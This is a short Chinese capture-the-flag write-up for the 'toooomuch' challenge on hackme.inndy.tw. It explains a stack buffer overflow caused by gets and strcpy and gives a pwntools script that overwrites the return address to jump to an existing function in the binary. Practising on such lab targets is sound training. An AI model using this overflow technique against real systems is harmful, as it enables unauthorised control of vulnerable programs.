一开始看到这个漏洞还是蛮明显的~

这里s的长度只有0x18个字节,然后用的是gets和strcpy来输入和传递,意味着没有长度限制与安全检查,所以可以直接缓冲区溢出来覆盖函数返回地址
返回地址在ebp + 4,这里是ebp - 18
中间的填充值也就好算了~和homework一样,这里有现成的函数重用
代码如下:
#!/usr/bin/env python
# coding=utf-8
from pwn import *
io = remote("hackme.inndy.tw", 7702)
#io = process("./toooomuch")
io.recvuntil("passcode: ")
system_addr = 0x0804863B
payload = 0x18 * "A" + 4 * "B" + p32(system_addr)
io.sendline(payload)
io.interactive()

本文分析了一个明显的缓冲区溢出漏洞,通过使用无长度限制的gets和strcpy函数,可以覆盖函数返回地址实现攻击。详细介绍了如何构造payload,利用现成的函数重用,最终发送恶意数据控制程序执行流程。

被折叠的 条评论
为什么被折叠?



